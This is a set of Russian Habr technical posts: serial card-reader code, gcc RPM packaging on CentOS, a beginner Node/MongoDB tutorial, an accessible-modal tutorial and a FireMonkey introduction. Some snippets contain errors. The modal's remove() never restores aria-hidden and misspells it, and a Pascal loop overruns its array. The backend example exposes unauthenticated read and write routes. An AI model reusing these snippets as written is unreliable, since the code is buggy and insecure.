Чтобы гарантировать постоянный поток готовых пул-реквестов, Merge Queue v2 сразу запускает CI для всех пул-реквестов, которые добавляются в очередь. Такая предусмотрительность весьма кстати во время инцидентов, когда очередь блокируется. Поскольку CI выполняется до слияния с основной веткой, то ещё до разрешения инцидента и разблокировки очереди у нас уже есть готовые к развёртыванию пул-реквесты. На следующем графике видно, что количество пул-реквестов в очереди увеличивается во время блокировки очереди, а затем уменьшается по мере её разблокировки и немедленного слияния готовых пул-реквестов.
Чтобы оптимизировать количество пул-реквестов для каждого деплоя, мы разделяем их в очереди на пакеты. Под пакетом понимается максимальное количество пул-реквестов, которое можно обработать за один деплой. Теоретически, большие пакеты повышают пропускную способность очереди, но также повышают риск. На практике слишком большое повышение риска снижает пропускную способность, вызывая сбои, которые труднее изолировать, и увеличивает число откатов. Для своего приложения мы выбрали размер пакета в 8 пул-реквестов. Это своеобразный баланс между пропускной способностью и рисками.
В каждый момент времени у нас CI работает на трёх пул-реквестах из очереди. Наличие ограниченного количества пакетов гарантирует, что ресурсы CI расходуются только на то, что скоро понадобится, а не весь набор пул-реквестов. Это помогает снизить затраты и использование ресурсов.
Выводы
======
За счёт внедрения Merge Queue v2 мы повысили удобство, улучшили безопасность и пропускную способность деплоя в продакшн. Хотя для текущего масштаба все цели достигнуты, по мере дальнейшего роста придётся пересмотреть наши модели и предположения. Мы сосредоточим следующие шаги на удобстве и обеспечении разработчикам контекста для принятия решений на каждом этапе. Очередь Merge Queue v2 дала нам гибкость для продолжения разработки, и это только начало наших планов по масштабированию деплоя. | https://habr.com/ru/post/478072/ | null | ru | null |
# Одна из возможных проблем при работе с RS232
В этом топике я хотел бы поделиться своим опытом «борьбы» с одним китайским девайсом. На работе поступил приказ и было принято поменять старые кардридеры на новые. Суть в том, что старые ридеры были активные, т.е. в бесконечном цикле пытались считать карту, а вот новые уже были пассивными — работать не будут, пока не подашь на них команду. Модель аппарата CR501AU V3 (вдруг кому пригодиться). Китайский девайс, документации никакой нет (только на китайском). И всё что у меня было на руках это коробочка с этикеткой модели и кое-какой исходник. Исходник, к слову, был из другого нашего отдела, который был написан на 1С. Но, так как штат программистов у нас в конторе обновился, не осталось тех людей, которые работали над этими старыми исходниками, поэтому пришлось разбираться. Поначалу всё было просто. В исходный код 1С был вставлен кусок скрипта на Visual Basic, который отвечал полностью за работу с ридером. Ничего под рукой для работы с VB не было, поэтому воспользовался Excel-евский компилятором.
```
Function ReedCard()
MSComm1.CommPort = 1 'Выставляем порт
MSComm1.Settings = "19200,N,8,1" 'Выставляем настройки
MSComm1.InputLen = 0
On Error Resume Next
MSComm1.PortOpen = True
MSComm1.Output = Chr(&HAA) & Chr(&HBB) & Chr(&H6) & Chr(&H0) & Chr(&H0) & Chr(&H0) & Chr(&H1) & Chr(&H2) & Chr(&H52) & Chr(&H51) 'Вот это строка для общения с ридером. Первая нужна для "пробуждения" ридера. Отправляем символы в hex виде
sleep (0.1) 'Спим немного, чтоб не бомбить девайс(иногда не работает корректно без сна)
Answer = MSComm1.Input
MSComm1.Output = Chr(&HAA) & Chr(&HBB) & Chr(&H5) & Chr(&H0) & Chr(&H0) & Chr(&H0) & Chr(&H2) & Chr(&H2) & Chr(&H0) 'Вторая команда пришлет нам ответ. Это то, что нам нужно — код карты. Правда, пока только ASCII-символами
sleep (0.1)
Answer = MSComm1.Input
Dim ReadPort As String
If Len(Answer) > 10 Then 'Если при попытке считать карта была на ридере, то ответом на предыдущую команду будет строка из 14-ти символов. Если на ридер были отправлены команды на считывание, но карты не было на месте, то в ответ будет возвращено 5 символов. Поэтому, если символов >10, то обрабатываем карту
Dim a: a = s2a(Answer) 'StringToArray-функция. Просто переводит нашу строку из 14 символов в массив[14]
Dim i
For i = 0 To UBound(a)
a(i) = Right(0 & Hex(Asc(a(i))), 2) 'В каждом элементе массива "а" у нас хранился какой-то ASCII-символ. Этот цикл пробегается по каждому символу, берет его ascii-код и переводит его в hex
Next
ReadPort = Join(a)
MSComm1.Output = Chr(170) & Chr(187) & Chr(6) & Chr(0) & Chr(0) & Chr(0) & Chr(6) & Chr(1) & Chr(7) & Chr(0) 'А эта команда нужна только для того, чтобы "пикнуть" :) Т.е. ридер просто издаст звук(это для того, чтоб было понятно, что ридер считал карту)
'''' Тут дальше идет мой код, который просто переводит хексовую строку в число. Например: AA BB CC DD -> 2864434397. Тут много кода, но вам он не нужен — вы и сами сможете его написать.
End If
MSComm1.PortOpen = False
End Sub
Function s2a(s)
ReDim a(Len(s) - 1)
Dim i
For i = 0 To UBound(a)
a(i) = Mid(s, i + 1, 1)
Next
s2a = a
End Function
Sub sleep(sk)
PauseTime = sk
Start = Timer
Do While Timer < Start + PauseTime
Loop
End Sub
```
Не так уж и сложно. Но проблема заключалась в том, что этот код на VB мне нужно было перенести на Pascal в MS-DOS. Несколько дней бился с этим, но скармливая эти команды в Com-порт ридер не подавал признаков жизни. Тогда я решил сначала реализовать это на своём «родном» языке — C#. Так же пришлось попотеть, но в итоге понял в чем кроется разгадка!
```
serialPort1.Open();
serialPort1.Write(((char)0xAA) + "" + ((char)0xBB) + "" + ((char)0x6) + "" + ((char)0x0) + "" + ((char)0x0) + "" + ((char)0x0) + "" + ((char)0x6) + "" + ((char)0x1) + "" + ((char)0x7) + "" + ((char)0x0));
serialPort1.Close();
```
Код выше неправильный. Я какое-то время над ним экспериментировал, но он никак не хотел работать. И кавычки убирал. И .ToString() добавлял. И посимвольно писал в порт. Ничего. И потом как вдруг дошло:
```
serialPort1.Open();
byte[] ar = new byte[10];
ar[0] = 170;
ar[1] = 187;
ar[2] = 6;
ar[3] = 0;
ar[4] = 0;
ar[5] = 0;
ar[6] = 6;
ar[7] = 1;
ar[8] = 7;
ar[9] = 0;
serialPort1.Write(ar, 0, ar.Length);
serialPort1.Close();
```
И всё заработало! Осталось только перенести это в паскаль:
```
var
ar: array of Byte[10];
begin
OpenCom (ComNo, B_19200, Bits_8+Stops_1+Parity_No, 2048);
ar[0]:=170;
ar[1]:=187;
ar[2]:=6;
ar[3]:=0;
ar[4]:=0;
ar[5]:=0;
ar[6]:=6;
ar[7]:=1;
ar[8]:=7;
ar[9]:=0;
for i:=0 to 10 do begin
WriteCom(ComNo,ar[i]);
end;
```
Код выше заставляет ридер «пикнуть». Дальше переделать всё под себя очень просто.
P.S. Информации по этой проблеме в ру-сегменте не нашел совсем, на англоязычных же есть, но крупицы. От себя информацию по работе с RS232 на примере китайского кардридера собрал. Надеюсь кому-нибудь поможет. Удачи! | https://habr.com/ru/post/322422/ | null | ru | null |
# Будни DevOps: cобираем gcc 9.3.1 под CentOS 8
В «Северстали» внедрены большие корпоративные системы, такие как SAP или QMET, но есть и много разных задач, которые закрывает собственная разработка, и задачи у этой разработки редко бывают простыми. А значит, и требования к инструментам разработки бывают достаточно специфическими. Что делать, если вашим разработчикам потребовался gcc-9 под CentOS, а его нет в общедоступных репозиториях? Конечно, засучить рукава и создать требуемые пакеты. Вот только задача эта выглядит просто только на первый взгляд.
Если вам интересно, какие грабли разложены на пути к замене системного компилятора, и как мы с ними справились, добро пожаловать под кат.
### Stage 1. Собственно сборка gcc
Здесь казалось бы всё просто: берём gcc.spec от пакета gcc-8.3.1, меняем 8 на 9, запускаем rpmbuild –bb, долго ждём? Да, но нет. Для начала придётся пересмотреть и поправить все патчи, а заодно ещё и поставить binutils посвежее, благо это несложно. Потом, мы же не просто так компилятор меняем, нам же ещё какие-нибудь nvptx-tools подавай, а это значит, что когда сборка закончится и начнется тестирование, тесты в libgomp, завязанные на выгрузку кода, начнут виснуть и застревать в разных странных позах.
Решения тут может быть два:
1. Консервативное: сказать разработчикам «извините, не шмогла» и отключить nvptx-tools.
2. Экспериментальное: предупредить разработчиков, что nvptx они используют на свой страх и риск, после чего запустить rpmbuild, дождаться застревания в тестах и отстреливать их руками. Вы получите массовые tests failed в результатах, но искомые пакеты будут собраны.
### Stage 2. Package libgcc.i686 has inferior architecture
Итак, мы складываем все эти замечательные gcc-9.3.1-3.el8.x86\_64.rpm, gcc-offload-nvptx-9.3.1-3.el8.x86\_64.rpm и т.д. и т.п. в отдельный репозиторий, индексируем его, подключаем в /etc/yum.repos.d, говорим dnf update и… Нет, ну вы правда думали, что он возьмёт и сразу поставится? Как бы не так. Как известно, 64-разрядные дистрибутивы семейств Debian и RedHat для семейств процессоров x86 в глубине души немножечко 32-разрядные (то есть, по умолчанию существуют в режиме multilib), и поэтому вам потребуется или объявить multilib пережитком прошлого и снести 32-разрядные библиотеки системного компилятора, или создать соответствующие пакеты (libgcc.i686, libgfortran.i686, libgomp.i686, libquadmath.i686 и libstdc++.i686) для новой версии. Как ни забавно, но решения тут тоже может быть два:
1. Рекомендованное производителем: поставить mock и выполнить полную сборку для i686, наступив на все сопутствующие грабли (nvptx, например, лучше сразу выключить).
2. Ленивое на скорую руку: дело в том, что 32-битные версии библиотек на самом деле собираются вместе с 64-битными, но никуда в итоге не попадают. В стандартной версии gcc.spec они вообще тупо удаляются, но это как раз недолго и закомментировать. А потом скопировать gcc.spec в libgcc-i686.spec, вымарать из него всю секцию %build, а в %install написать примерно следующее:
```
%install
rm -rf %{buildroot}
mkdir -p %{buildroot}
tar cf - -C %{_buildrootdir}/%{name}-%{version}-%{release}.x86_64 usr | tar xf - -C %{buildroot}
FULLPATH=%{buildroot}%{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_major}
FULLEPATH=%{buildroot}%{_prefix}/libexec/gcc/%{gcc_target_platform}/%{gcc_major}
# fix some things
mkdir -p %{buildroot}/%{_lib}
mv -f %{buildroot}%{_prefix}/%{_lib}/libgcc_s.so.1 %{buildroot}/%{_lib}/libgcc_s-%{gcc_major}-%{DATE}.so.1
chmod 755 %{buildroot}/%{_lib}/libgcc_s-%{gcc_major}-%{DATE}.so.1
ln -sf libgcc_s-%{gcc_major}-%{DATE}.so.1 %{buildroot}/%{_lib}/libgcc_s.so.1
mkdir -p %{buildroot}%{_datadir}/gdb/auto-load/%{_prefix}/%{_lib}
mv -f %{buildroot}%{_prefix}/%{_lib}/libstdc++*gdb.py* \
%{buildroot}%{_datadir}/gdb/auto-load/%{_prefix}/%{_lib}/
pushd %{name}-%{version}-%{DATE}/libstdc++-v3/python
for i in `find . -name \*.py`; do
touch -r $i %{buildroot}%{_prefix}/share/gcc-%{gcc_major}/python/$i
done
touch -r hook.in %{buildroot}%{_datadir}/gdb/auto-load/%{_prefix}/%{_lib}/libstdc++*gdb.py
popd
for f in `find %{buildroot}%{_prefix}/share/gcc-%{gcc_major}/python/ \
%{buildroot}%{_datadir}/gdb/auto-load/%{_prefix}/%{_lib}/ -name \*.py`; do
r=${f/$RPM_BUILD_ROOT/}
%{__python3} -c 'import py_compile; py_compile.compile("'$f'", dfile="'$r'")'
%{__python3} -O -c 'import py_compile; py_compile.compile("'$f'", dfile="'$r'")'
done
rm -rf %{buildroot}%{_prefix}/%{_lib}/%{name}
```
Теперь достаточно сказать rpmbuild –bb libgcc-i686.spec где-то в соседнем терминале, пока gcc развлекается своим torture, и вуаля, наши 32-битные пакеты у нас в кармане (в смысле, в $RPM\_BUILD\_ROOT/RPMS/i686). Мы копируем их в наш репозиторий, индексируем его, запускаем dnf makecache –repo gcc-9 && dnf update и… Нет, обновить компилятор всё ещё нельзя.
### Stage 3. Annobin и libtool
Те, кто внимательно смотрит на параметры сборки на линуксах линеек RHEL и CentOS, могли заметить, что по умолчанию в gcc подключен плагин annobin. У этого плагина есть неприятная привычка привязываться к версии компилятора, поэтому его придется пересобрать. Детали в принципе изложены в самом annobin.spec в комментариях, поэтому отметим только, что пересобрать его придётся минимум дважды: сперва, используя ещё системный gcc 8.3.1, поправить требование к версии gcc, чтобы gcc < %{gcc\_next} превратилось в gcc <= %{gcc\_next}, потом, уже заменив gcc, пересобрать заново, вернув требование gcc < %{gcc\_next} и раскомментировав строку %undefine \_annotated\_build – иначе вообще ничего собираться не будет. Ну и для чистоты можно пересобрать в третий раз, вернув \_annotated\_build на место, а предыдущие две версии пакетов (переходную и без аннотации бинарей) из репозитория удалить.
Остается libtool. Этот джентльмен тоже жёстко привязывается к версии gcc, но к счастью, зависимость эта односторонняя, поэтому libtool можно просто удалить перед заменой gcc, затем собрать его заново новым gcc и добавить соответствующий пакет в наш репозиторий gcc-9.
Как ни странно, на этом всё. У нас есть отдельный репозиторий, подключив который, можно поставить требуемую версию компилятора, а при необходимости вернуть обратно системную версию (командой dnf downgrade gcc), хотя необходимости такой у нас не возникало.
Хабравчане-девопсы, а какие у вас бывали нестандартные запросы от разработчиков? | https://habr.com/ru/post/553612/ | null | ru | null |
# Как фронтенд-разработчику настроить базу данных
Недавно меня спросили, как **фронтенд-разработчику** проще всего сохранить пользовательские данные? Под катом — моя краткая инструкция для тех, кто с базами данных «на вы».
#### Настройка базы данных
Во-первых, нам нужна актуальная база данных. Можете сделать себе бесплатную на [mlab](https://mlab.com/). Когда зарегистрируетесь, во вкладке MongoDB Deployments кликните на **create new**. БД-песочница предоставляется бесплатно, ею мы и воспользуемся.
После создания базы данных нужно создать аккаунт для нашей аутентификации. Кликните на имя БД, затем **users**, потом a**dd database user**. Сохраните где-нибудь логин/пароль, они нам ещё понадобятся.
В верхней части страницы БД вы увидите URI MongoDB. Это веб-адрес нашей базы. URI — это как адрес веб-страницы. Формат URI для MongoDB URI будет такой:
```
mongodb://:@:/
```
Вот URI моей базы данных:
```
mongodb://admin:superSecretPassword@ds111885.mlab.com:11885/medium
```
#### Настройка сервера
В качестве бэкенда возьмём Node. Чтобы его не настраивать, можете просто кликнуть [тут](https://glitch.com/edit) и клонировать мой проект на Glitch.
Взгляните на мой начальный файл server.js:
```
// init project
const express = require('express'); // the library we will use to handle requests
const app = express(); // instantiate express
app.use(require("cors")()) // allow Cross-domain requests
app.use(require('body-parser').json()) // automatically parses request data to JSON
// base route
app.get("/", function (request, response) {
response.send("TODO") // always responds with the string "TODO"
});
// base route
app.post("/", function (request, response) {
response.send("TODO") // always responds with the string "TODO"
});
app.put("/", function (request, response) {
response.send("TODO") // always responds with the string "TODO"
});
// listen for requests, the process.env.PORT is needed because
// we are using glitch, otherwise you could have written 80 or whatever
var listener = app.listen(process.env.PORT, function () {
console.log('Your app is listening on port ' + listener.address().port);
});
```
Начинаем с импортирования `express` — это библиотека, которую мы будем использовать для обработки запросов к серверу.
Для междоменных запросов нам понадобится `use(require(cors))`. Это запросы от веб-сайта, который хостится в одном домене, к серверу в другом домене.
Команда `app.use(require('body-parser').json())` автоматически парсит для нас запросы в JSON.
Затем мы передаём методу `get` маршрут, который хотим обработать, и саму обрабатывающую коллбэк-функцию. Когда кто-нибудь откроет страницу / нашего сайта, это запрос будет обработан коллбэком. Базовый домен у нас будет относительным, так что если у вас адрес сайта [shiny-koala.glitch.com](http://shiny-koala.glitch.com), то маршрут `/about` превратится в [shiny-koala.glitch.com/about](http://shiny-koala.glitch.com/about).
Поясню: под «открыть страницу» я подразумеваю запрос, использующий на вашем сервере метод `GET`. HTTP-методы — это лишь типы запросов, которые вы можете адресовать серверу. Мы будем использовать только такие:
* `GET` — этот метод используется для извлечения ресурсов с сервера. Например, если вы открываете Facebook, то при этом скачиваются все необходимые HTML, CSS и JavaScript.
* `POST` — этот метод используется для создания ресурсов на сервере. Например, когда вы что-то пишете на Facebook, то написанное вами отправляется на серверы соцсети в POST-запросе.
* `PUT` — этот метод используется для обновления ресурсов на сервере. Например, когда вы редактируете свой пост, все ваши правки отправляются на сервер Facebook в PUT-запросе.
`app.post` и `app.put` работают так же, как `app.get`, только обрабатывают POST- и PUT- методы вместо GET.
#### Маршрутизация
Раз вы поднимаете сервер, вам понадобится его протестировать. Для прогона HTTP-запросов можете использовать удобный сайт [REST test test](https://resttesttest.com/) или приложение [Insomnia](https://insomnia.rest/).
Для проверки URL своего Glitch-приложения кликните на кнопку **show**.
Пока что мы используем только путь /. Но ведь нам нужно хранить разную информацию о разных пользователях, и поэтому нужны отдельные пути для каждого пользователя.
Например: `/ZaninAndrea` или `/JohnGreen`.
Возникла трудность: пожалуй, мы не можем прописать в коде все пути, это не слишком масштабируемый подход. Нам нужны параметры маршрутизации. А в коде мы пропишем лишь один путь: `/:user`
Двоеточие говорит Express ловить любой путь, начинающийся со слеша / и далее состоящий из букв и цифр.
Например:
* `/ZaninAndrea` будет пойман.
* `/Johnny45` будет пойман.
* `/alex/score` **не** будет пойман.
Затем можно вернуть значение `user` переменной `request.params.user`
```
// base route
app.get("/:user", function (request, response) {
response.send(request.params.user)
});
// base route
app.post("/:user", function (request, response) {
response.send(request.params.user)
});
// base route
app.put("/:user", function (request, response) {
response.send(request.params.user)
});
```
Теперь наш сервер почти на каждый вопрос отвечает именем пользователя.
#### Добавление информации в БД
Мы знаем, кто у нас пользователь, и теперь нужно сохранить о нём какую-нибудь информацию.
Для обращения к базе данных мы воспользуемся библиотекой `mongodb`. Её можно установить двумя способами:
```
npm install mongodb --save
```
либо, если вы используете Glitch, откройте файл `package.json` и кликните на кнопку **Add package**.
Давайте загрузим библиотеку и сохраним URI MongoDB в переменной:
```
const mongodb = require('mongodb'); // load mongodb
const uri = process.env.URI;
```
URI — очень важная информация, это всё, что нам нужно для обращения к базе данных. Лучше всего положить URI в файл `.env`, который невидим для других.
```
URI=mongodb://admin:PASSWORD@ds111885.mlab.com:11885/medium
```
Glitch автоматически подгрузит переменные из файла `.env` в переменную `process.env`.
Подключение к базе данных — это асинхронная операция, поэтому нужно завернуть всю серверную настройку в коллбэк вроде этого:
```
mongodb.MongoClient.connect(uri, function(err, db) {
// base route
app.get("/:user", function (request, response) {
response.send(request.params.user)
});
// base route
app.post("/:user", function (request, response) {
response.send(request.params.user)
});
// base route
app.put("/:user", function (request, response) {
response.send(request.params.user)
});
// listen for requests, the process.env.PORT is needed because
// we are using glitch, otherwise you could have written 80 or whatever
var listener = app.listen(process.env.PORT, function () {
console.log('Your app is listening on port ' + listener.address().port);
});
})
```
Базы данных организованы в виде коллекций, а коллекции содержат документы (JSON-файлы). Давайте подключимся к коллекции `user` (она будет создана при первом к ней обращении).
```
mongodb.MongoClient.connect(uri, function(err, db) {
const collection = db.collection('users')
// ...
}
```
Во-первых, нам нужно обработать путь `POST`. Его мы будем использовать при первом добавлении данных о пользователе. Затем мы воспользуемся путём `PUT` для обновления данных.
```
app.post("/:user", function (request, response) {
// inserts a new document on the server
collection.insertOne({ ...request.body, user : request.params.user }, function (err, r) {
if (err){
response.send("An error occured")
}else{
response.send("All well")
}
})
});
```
Метод `collection.insertOne` добавляет в коллекцию новый документ. В нашем случае у каждого пользователя свой собственный документ.
```
{ ...request.body, user : request.params.user }
```
использует [spread-оператор](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator) для объединения данных, предоставленных в теле запроса, а также переданных пользователем по URL.
И тогда получается документ, хранящийся в коллекции.
Второй аргумент — это коллбэк, просто уведомляющий пользователя о результате операции.
#### Получение информации из базы данных
Теперь у нас на сервере хранятся какие-то данные, и мы хотим их прочитать. Для этого воспользуемся методом `GET`.
```
app.get("/:user", function (request, response) {
collection.find({ user : request.params.user }).toArray(function (err, docs) {
if (err){
response.send("An error occured")
}else{
response.send(docs)
}
})
});
```
В этот раз первым аргументом будет фильтр, говорящий базе данных отправлять нам только документы с корректными свойствами пользователя.
Документы возвращаются пользователю в массиве, потому что теоретически может быть больше одного документа со свойствами этого пользователя. И от нас зависит, может ли такое произойти.
#### Обновление информации в базе данных
Для обновления информации об уже существующем пользователе воспользуемся методом `PUT`.
```
// base route
app.put("/:user", function (request, response) {
collection.updateOne({ user : request.params.user },
{$set:{ ...request.body, user : request.params.user }},
function (err, r) {
if (err){
response.send("An error occured")
}else{
response.send("All well")
}
})
});
```
Первый аргумент — это фильтр, вроде того, что мы использовали в методе `GET`.
Второй аргумент — документ обновления (update document), подробнее о нём можно почитать [здесь](https://docs.mongodb.com/manual/reference/method/db.collection.update/#update-parameter). В данном случае мы говорим базе данных объединить информацию, переданную пользователем, с уже существующей информацией.
Но будьте осторожны, потому что вложенные параметры будут заменены, а не объединены.
#### Напоследок
Это далеко не исчерпывающее руководство по базам данных и программированию бэкенда, но вполне достаточное для того, чтобы вы могли запустить свой личный проект.
Возможно, в будущем я напишу статью об аутентификации, а пока не храните в своей базе данных конфиденциальную информацию. | https://habr.com/ru/post/343334/ | null | ru | null |
# Решение проблемы обеспечения доступности модального окна для людей с ограниченными возможностями
**Всем привет!**
В этой статье я бы хотел рассказать как реализовать **доступное** модальное окно, без использования атрибута [«aria-modal»](https://www.w3.org/TR/wai-aria/#aria-modal).
### Немного теории!
«aria-modal» — это атрибут использующийся для того, чтобы сообщить вспомогательным технологиям (таким, как программы чтения с экрана), что веб-контент под текущим диалоговым окном недоступны для взаимодействия (инертен). Другими словами, ни один элемент, под модальным окном, не должен получить фокус при клике, навигации с использованием «TAB/SHIFT+TAB» или при свайпе на сенсорных устройствах.
Но почему мы не можем использовать «aria-modal» для модального окна?
Существуют несколько причин:
* просто не поддерживаются программами чтения с экрана
* игнорируется псевдоклассами ":before/:after"
Перейдем к реализации.
### Реализация
Для того чтобы начать разработку, нам необходимо выделить свойства, которыми должно обладать **доступное** модальное окно:
* все интерактивные элементы, вне модального окна, должны быть заблокированы для манипуляции пользователем: клика, установки фокуса и так далее...
* навигация должны быть доступна только по системным компонентам браузера и по контенту самого модального окна (весь контент вне модального окна должен быть проигнорирован)
#### Заготовка
Воспользуемся заготовкой, чтобы не тратить время на пошаговое описание создания модального окна.
HTML:
```
Document
Standart button
Open modal window
Custom button
Lorem, ipsum dolor sit amet consectetur adipisicing elit. Deserunt maxime tenetur sint porro tempore aperiam! Eaque tempore repudiandae culpa omnis placeat, fugit nostrum quisquam in ipsa odit accusamus illum velit?
Close
Modal window
------------
Lorem ipsum dolor sit amet consectetur adipisicing elit. Expedita, doloribus.
```
Стили:
```
.modal {
position: fixed;
font-family: Arial, Helvetica, sans-serif;
top: 0;
right: 0;
bottom: 0;
left: 0;
background: rgba(0,0,0,0.8);
z-index: 99999;
transition: opacity 400ms ease-in;
display: none;
pointer-events: none;
}
.active{
display: block;
pointer-events: auto;
}
.modal > div {
width: 400px;
position: relative;
margin: 10% auto;
padding: 5px 20px 13px 20px;
border-radius: 10px;
background: #fff;
}
.btn-close {
padding: 5px;
position: absolute;
right: 10px;
border: none;
background: red;
color: #fff;
box-shadow: 0 0 10px rgba(0,0,0,0.5);
}
.btn {
display: inline-block;
border: 1px solid #222;
padding: 3px 10px;
background: #ddd;
box-sizing: border-box;
}
```
JS:
```
let modaWindow = document.getElementById('modalWindow');
document.getElementById('openBtn').addEventListener('click', function() {
modaWindow.classList.add('active');
});
document.getElementById('closeBtn').addEventListener('click', function() {
modaWindow.classList.remove('active');
});
```
Если открыть страницу и попробовать перейти на элементы, находящиеся за модальным окном, используя клавиши «TAB/SHIFT+TAB», то эти элементы получают фокус, как показано на прикрепленной картинке.
Чтобы решить эту проблему, нам необходимо присвоить всем интерактивным элементам атрибут 'tabindex' со значением минус единица.
1. Для дальнейшей работы создаем класс «modalWindow» cо следующими свойствами и методами:
* doc — документ страницы, в котором строим модальное окно
* modal — контейнер модального окна
* interactiveElementsList — массив интерактивных элементов
* blockElementsList- массив блочных элементов страницы
* constructor — конструктор класса
* create — метод используемый для создания модального окна
* remove — метод используемый для удаления модального окна
2. Реализуем конструктор:
```
constructor(doc, modal) {
this.doc = doc;
this.modal = modal;
this.interactiveElementsList = [];
this.blockElementsList = [];
}
```
«interactiveElementsList» и «blockElementsList » нужны, чтобы содержать элементы страницы, которые были изменены в момент создания модального окна.
3. Создаем константу для хранения элементов, которые могут иметь фокус:
```
const INTERECTIVE_SELECTORS = ['a', 'button', 'input', 'textarea', '[tabindex]'];
```
4. В методе 'create' выбираем все элементы подходящие по нашим селекторам и выставляем всем 'tabindex=-1' (игнорируем элементы, которые уже имеют данное значение)
```
let elements = this.doc.querySelectorAll(INTERECTIVE_SELECTORS.toString());
let element;
for (let i = 0; i < elements.length; i++) {
element = elements[i];
if (!this.modal.contains(element)) {
if (element.getAttribute('tabindex') !== '-1') {
element.setAttribute('tabindex', '-1');
this.interactiveElementsList.push(element);
}
}
}
```
Похожая проблема возникает когда мы используем специальные клавиши или жесты(в мобильных программах) для навигации, в этом случае мы можем навигироваться не только по интерактивным элементам, а также и по текстовым.
5. Здесь нам не нужно создавать массив для хранения селекторов, мы просто возьмем все дочерние элементы узла 'body'
```
let children = this.doc.body.children;
```
6. Шестой шаг аналогичен шагу №4, только с использованием 'aria-hidden'
```
for (let i = 0; i < children.length; i++) {
element = children[i];
if (!this.modal.contains(element)) {
if (element.getAttribute('aria-hidden') !== 'true') {
element.setAttribute('aria-hidden', 'true');
this.blockElementsList.push(element);
}
}
}
```
Завершенный метод «create»:
```
create() {
let elements = this.doc.querySelectorAll(INTERECTIVE_SELECTORS.toString());
let element;
for (let i = 0; i < elements.length; i++) {
element = elements[i];
if (!this.modal.contains(element)) {
if (element.getAttribute('tabindex') !== '-1') {
element.setAttribute('tabindex', '-1');
this.interactiveElementsList.push(element);
}
}
}
let children = this.doc.body.children;
for (let i = 0; i < children.length; i++) {
element = children[i];
if (!this.modal.contains(element)) {
if (element.getAttribute('aria-hidden') !== 'true') {
element.setAttribute('aria-hidden', 'true');
this.blockElementsList.push(element);
}
}
}
}
```
7. На седьмом шаге реализуем метод обратный 'create':
```
remove() {
let element;
while(this.interactiveElementsList.length !== 0) {
element = this.interactiveElementsList.pop();
element.setAttribute('tabindex', '0');
}
while(this.interactiveElementsList.length !== 0) {
element = this.interactiveElementsList.pop();
element.setAttribute('aria-gidden', 'false');
}
}
```
8. Чтобы это все заработало нам нужно создать экземпляр класса «modalWindow» и вызвать методы «create» и «remove»:
```
let modaWindow = document.getElementById('modalWindow');
const modal = new modalWindow(document, modaWindow);
document.getElementById('openBtn').addEventListener('click', function() {
modaWindow.classList.add('active');
// modal.create();
});
document.getElementById('closeBtn').addEventListener('click', function() {
modaWindow.classList.remove('active');
// modal.remove();
});
```
Полный код класса:
```
class modalWindow{
constructor(doc, modal) {
this.doc = doc;
this.modal = modal;
this.interactiveElementsList = [];
this.blockElementsList = [];
}
create() {
let elements = this.doc.querySelectorAll(INTERECTIVE_SELECTORS.toString());
let element;
for (let i = 0; i < elements.length; i++) {
element = elements[i];
if (!this.modal.contains(element)) {
if (element.getAttribute('tabindex') !== '-1') {
element.setAttribute('tabindex', '-1');
this.interactiveElementsList.push(element);
}
}
}
let children = this.doc.body.children;
for (let i = 0; i < children.length; i++) {
element = children[i];
if (!this.modal.contains(element)) {
if (element.getAttribute('aria-hidden') !== 'true') {
element.setAttribute('aria-hidden', 'true');
this.blockElementsList.push(element);
}
}
}
}
remove() {
let element;
while(this.interactiveElementsList.length !== 0) {
element = this.interactiveElementsList.pop();
element.setAttribute('tabindex', '0');
}
while(this.interactiveElementsList.length !== 0) {
element = this.interactiveElementsList.pop();
element.setAttribute('aria-gidden', 'false');
}
}
```
P.S.
----
Если на мобильных устройствах не решены проблемы с навигацией по текстовым элементам, то можно использовать следующую выборку:
```
const BLOCKS_SELECTORS = ['div', 'header', 'main', 'section', 'footer'];
let children = this.doc.querySelectorAll(BLOCKS_SELECTORS .toString());
```
### Ссылки на полезные ресурсы
* [www.w3.org/TR/wai-aria](https://www.w3.org/TR/wai-aria/)
* [www.w3.org/TR/WCAG21](https://www.w3.org/TR/WCAG21/)
* [developer.mozilla.org/ru/docs/Web/HTML/Global\_attributes/tabindex](https://developer.mozilla.org/ru/docs/Web/HTML/Global_attributes/tabindex) | https://habr.com/ru/post/526016/ | null | ru | null |
# Разработка мобильных приложений в Embarcadero FireMonkey (FMX 6)
Никому не нравится писать один и тот же код несколько раз, но именно это и приходится делать, если мобильное приложение должно быть реализовано для нескольких платформ сразу. Досадно, что программистам компании, в каждом случае, требуются применять различные инструменты, навыки и подходы. Разумеется, возникает желание, чтобы, перенося приложение, как минимум, не приходилось менять язык программирования.
Вот и в этот раз, размышляя о сложностях разработки приложений для мобильных, мы не устояли перед соблазном примерить на себя древнюю Русскую мечту, и, подобно герою сказки «По щучьему веленью», покататься на печи. Забегая вперед, скажем, что «печь» поехала, хотя и с некоторым скрипом.
Итак, как известно, существует несколько подходов, применяемых в кросс-платформенной разработке мобильных приложений. Каждое из этих решений имеет свои недостатки, и, возможно, сравнительный анализ различных подходов мы изложим в одной из следующих публикаций. Здесь же речь пойдёт лишь об одном таком инструменте, который, как нам кажется, несколько обойдён вниманием аудитории, хотя и обладает рядом уникальных особенностей.
FireMonkey — это продукт небезызвестной компании [Embarcadero](https://www.embarcadero.com/products/rad-studio/fmx). FireMonkey входит в состав среды разработки RAD Studio. Лежащий в его основе движок FMX был когда-то разработан нашим соотечественником, и представляет собой похожий на Flash или WPF, кросс-платформенный фреймворк для построения пользовательских интерфейсов. При этом, как и упомянутые продукты, FMX использует векторную графику и аппаратную акселерацию. Продукт появился всего несколько лет назад, но за это время вышло уже 5 обновлений. Хочется верить, что продукт не постигнет участь печально известного Delphi .NET.
Приложения компилируется напрямую в машинный код, и это является одной из главных отличительных особенностей рассматриваемого решения. В связи с этими замечательным обстоятельством, Embarcadero, в теории, обещает нам общую производительность на уровне нативных приложений. Будучи встроенным в Delphi и в С++ Builder, FireMonkey позволяет реализовывать логику приложений на Pascal и C++. Один и тот же код приложения FireMonkey (FM) может быть скомпилирован для работы в Windows, iOS и Android. Нас привлекла возможность вести разработку на C++, так как в штате компании имелось большое количество программистов по этому направлению. Поэтому для проверки работоспособности был установлена именно C++ Builder версия RAD Studio XE6, хотя редакция Delphi не должна отличаться ничем, кроме используемого языка программирования.
### Сборка приложений
